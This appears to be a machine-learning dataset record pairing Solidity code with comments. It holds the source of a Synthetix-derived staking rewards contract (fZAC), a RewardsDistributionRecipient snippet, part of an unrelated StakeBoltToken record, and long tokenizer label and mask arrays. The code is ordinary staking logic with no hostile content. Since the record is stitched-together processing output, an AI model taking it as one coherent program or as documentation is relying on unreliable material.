-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
contract StakingTokenWrapper is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakingToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/**
* @dev TokenWrapper constructor
* @param _stakingToken Wrapped token to be staked
*/
constructor(address _stakingToken) internal {
stakingToken = IERC20(_stakingToken);
}
/**
* @dev Get the total amount of the staked token
* @return uint256 total supply
*/
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
/**
* @dev Get the balance of a given account
* @param _account User for which to retrieve balance
*/
function balanceOf(address _account)
public
view
returns (uint256)
{
return _balances[_account];
}
/**
* @dev Deposits a given amount of StakingToken from sender
* @param _amount Units of StakingToken
*/
function _farm(address _beneficiary, uint256 _amount)
internal
nonReentrant
{
_totalSupply = _totalSupply.add(_amount);
_balances[_beneficiary] = _balances[_beneficiary].add(_amount);
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
}
/**
* @dev Withdraws a given stake from sender
* @param _amount Units of StakingToken
*/
function _withdraw(uint256 _amount)
internal
nonReentrant
{
_totalSupply = _totalSupply.sub(_amount);
_balances[msg.sender] = _balances[msg.sender].sub(_amount);
stakingToken.safeTransfer(msg.sender, _amount);
}
}
interface IRewardsDistributionRecipient {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
}
contract RewardsDistributionRecipient is IRewardsDistributionRecipient {
// @abstract
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
// This address has the ability to distribute the rewards
address public rewardsDistributor;
/** @dev Recipient is a module, governed by mStable governance */
constructor(address _rewardsDistributor) internal
{
rewardsDistributor = _rewardsDistributor;
}
/**
* @dev Only the rewards distributor can notify about rewards
*/
modifier onlyRewardsDistributor() {
require(msg.sender == rewardsDistributor, "Caller is not reward distributor");
_;
}
}
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @notice Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* @dev bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x)
internal
pure
returns (uint256)
{
return x.mul(FULL_SCALE);
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(uint256 x, uint256 y, uint256 scale)
internal
pure
returns (uint256)
{
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio)
internal
pure
returns (uint256)
{
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x.mul(ratio);
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled.add(RATIO_SCALE.sub(1));
// return 100..00.999e8 / 1e8 = 1e18
return ceil.div(RATIO_SCALE);
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
// e.g. 1e14 * 1e8 = 1e22
uint256 y = x.mul(RATIO_SCALE);
// return 1e22 / 1e12 = 1e10
return y.div(ratio);
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound)
internal
pure
returns (uint256)
{
return x > upperBound ? upperBound : x;
}
}
/**
* @title StakingRewards
* @author Originally: Synthetix (forked from /Synthetixio/synthetix/contracts/StakingRewards.sol)
* Audit: https://github.com/sigp/public-audits/blob/master/synthetix/unipool/review.pdf
* Changes by: Stability Labs Pty. Ltd.
* @notice Rewards stakers of a given LP token (a.k.a StakingToken) with RewardsToken, on a pro-rata basis
* @dev Uses an ever increasing 'rewardPerTokenStored' variable to distribute rewards
* each time a write action is called in the contract. This allows for passive reward accrual.
* Changes:
* - Cosmetic (comments, readability)
* - Addition of getRewardToken()
* - Changing of `StakingTokenWrapper` funcs from `super.stake` to `_stake`
* - Introduced a `stake(_beneficiary)` function to enable contract wrappers to stake on behalf
*/
contract fZAC is StakingTokenWrapper, RewardsDistributionRecipient {
using StableMath for uint256;
IERC20 public rewardsToken;
uint256 public constant DURATION = 7 days;
// Timestamp for current period finish
uint256 public periodFinish = 0;
// RewardRate for the rest of the PERIOD
uint256 public rewardRate = 0;
// Last time any user took action
uint256 public lastUpdateTime = 0;
// Ever increasing rewardPerToken rate, based on % of total supply
uint256 public rewardPerTokenStored = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount, address payer);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
/** @dev StakingRewards is a TokenWrapper and RewardRecipient */
constructor(
address _stakingToken,
address _rewardsToken,
address _rewardsDistributor
)
public
StakingTokenWrapper(_stakingToken)
RewardsDistributionRecipient(_rewardsDistributor)
{
rewardsToken = IERC20(_rewardsToken);
}
/** @dev Updates the reward for a given address, before executing function */
modifier updateReward(address _account) {
// Setting of global vars
uint256 newRewardPerToken = rewardPerToken();
// If statement protects against loss in initialisation case
if(newRewardPerToken > 0) {
rewardPerTokenStored = newRewardPerToken;
lastUpdateTime = lastTimeRewardApplicable();
// Setting of personal vars based on new globals
if (_account != address(0)) {
rewards[_account] = earned(_account);
userRewardPerTokenPaid[_account] = newRewardPerToken;
}
}
_;
}
/***************************************
ACTIONS
****************************************/
/**
* @dev Stakes a given amount of the StakingToken for the sender
* @param _amount Units of StakingToken
*/
function farm(uint256 _amount)
external
{
_farm(msg.sender, _amount);
}
/**
* @dev Stakes a given amount of the StakingToken for a given beneficiary
* @param _beneficiary Staked tokens are credited to this address
* @param _amount Units of StakingToken
*/
function farm(address _beneficiary, uint256 _amount)
external
{
_farm(_beneficiary, _amount);
}
/**
* @dev Internally stakes an amount by depositing from sender,
* and crediting to the specified beneficiary
* @param _beneficiary Staked tokens are credited to this address
* @param _amount Units of StakingToken
*/
function _farm(address _beneficiary, uint256 _amount)
internal
updateReward(_beneficiary)
{
require(_amount > 0, "Cannot stake 0");
super._farm(_beneficiary, _amount);
emit Staked(_beneficiary, _amount, msg.sender);
}
/**
* @dev Withdraws stake from pool and claims any rewards
*/
function unfarm() external {
withdraw(balanceOf(msg.sender));
claimReward();
}
/**
* @dev Withdraws given stake amount from the pool
* @param _amount Units of the staked token to withdraw
*/
function withdraw(uint256 _amount)
public
updateReward(msg.sender)
{
require(_amount > 0, "Cannot withdraw 0");
_withdraw(_amount);
emit Withdrawn(msg.sender, _amount);
}
/**
* @dev Claims outstanding rewards for the sender.
* First updates outstanding reward allocation and then transfers.
*/
function claimReward()
public
updateReward(msg.sender)
{
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.transfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
/***************************************
GETTERS
****************************************/
/**
* @dev Gets the RewardsToken
*/
function getRewardToken()
external
view
returns (IERC20)
{
return rewardsToken;
}
/**
* @dev Gets the last applicable timestamp for this reward period
*/
function lastTimeRewardApplicable()
public
view
returns (uint256)
{
return StableMath.min(block.timestamp, periodFinish);
}
/**
* @dev Calculates the amount of unclaimed rewards per token since last update,
* and sums with stored to give the new cumulative reward per token
* @return 'Reward' per staked token
*/
function rewardPerToken()
public
view
returns (uint256)
{
// If there is no StakingToken liquidity, avoid div(0)
uint256 stakedTokens = totalSupply();
if (stakedTokens == 0) {
return rewardPerTokenStored;
}
// new reward units to distribute = rewardRate * timeSinceLastUpdate
uint256 rewardUnitsToDistribute = rewardRate.mul(lastTimeRewardApplicable().sub(lastUpdateTime));
// new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens
uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(stakedTokens);
// return summed rate
return rewardPerTokenStored.add(unitsToDistributePerToken);
}
/**
* @dev Calculates the amount of unclaimed rewards a user has earned
* @param _account User address
* @return Total reward amount earned
*/
function earned(address _account)
public
view
returns (uint256)
{
// current rate per token - rate user previously received
uint256 userRewardDelta = rewardPerToken().sub(userRewardPerTokenPaid[_account]);
// new reward = staked tokens * difference in rate
uint256 userNewReward = balanceOf(_account).mulTruncate(userRewardDelta);
// add to previous rewards
return rewards[_account].add(userNewReward);
}
/***************************************
ADMIN
****************************************/
/**
* @dev Notifies the contract that new rewards have been added.
* Calculates an updated rewardRate based on the rewards in period.
* @param _reward Units of RewardToken that have been added to the pool
*/
function notifyRewardAmount(uint256 _reward)
external
onlyRewardsDistributor
updateReward(address(0))
{
uint256 currentTime = block.timestamp;
// If previous period over, reset rewardRate
if (currentTime >= periodFinish) {
rewardRate = _reward.div(DURATION);
}
// If additional reward to existing period, calc sum
else {
uint256 remaining = periodFinish.sub(currentTime);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = _reward.add(leftover).div(DURATION);
}
lastUpdateTime = currentTime;
periodFinish = currentTime.add(DURATION);
emit RewardAdded(_reward);
}
}
|
@abstract This address has the ability to distribute the rewards
|
contract RewardsDistributionRecipient is IRewardsDistributionRecipient {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
address public rewardsDistributor;
constructor(address _rewardsDistributor) internal
{
rewardsDistributor = _rewardsDistributor;
}
modifier onlyRewardsDistributor() {
require(msg.sender == rewardsDistributor, "Caller is not reward distributor");
_;
}
}
| 2,135,126 |
[
1,
36,
17801,
1220,
1758,
711,
326,
7123,
358,
25722,
326,
283,
6397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
534,
359,
14727,
9003,
18241,
353,
15908,
359,
14727,
9003,
18241,
288,
203,
203,
565,
445,
5066,
17631,
1060,
6275,
12,
11890,
5034,
19890,
13,
3903,
31,
203,
565,
445,
4170,
359,
1060,
1345,
1435,
3903,
1476,
1135,
261,
45,
654,
39,
3462,
1769,
203,
203,
565,
1758,
1071,
283,
6397,
1669,
19293,
31,
203,
203,
565,
3885,
12,
2867,
389,
266,
6397,
1669,
19293,
13,
2713,
203,
565,
288,
203,
3639,
283,
6397,
1669,
19293,
273,
389,
266,
6397,
1669,
19293,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
17631,
14727,
1669,
19293,
1435,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
283,
6397,
1669,
19293,
16,
315,
11095,
353,
486,
19890,
1015,
19293,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x4cA5245117500C0A8125A02541a2646AAE261c72/sources/contracts/StakeBoltToken.sol
|
@notice owner Deposit deposit of dynamic reward for later Allocation @param _amount Number of tokens to deposit in basic units (n * 10**decimals)
|
function depositDynamicReward(uint128 _amount) external onlyOwner {
token.safeTransferFrom(msg.sender, address(this), _amount);
dynamicTokensToAllocate += _amount;
emit DepositDynamicReward(msg.sender, _amount);
}
| 8,306,205 |
[
1,
8443,
4019,
538,
305,
443,
1724,
434,
5976,
19890,
364,
5137,
24242,
225,
389,
8949,
3588,
434,
2430,
358,
443,
1724,
316,
5337,
4971,
261,
82,
225,
1728,
31734,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
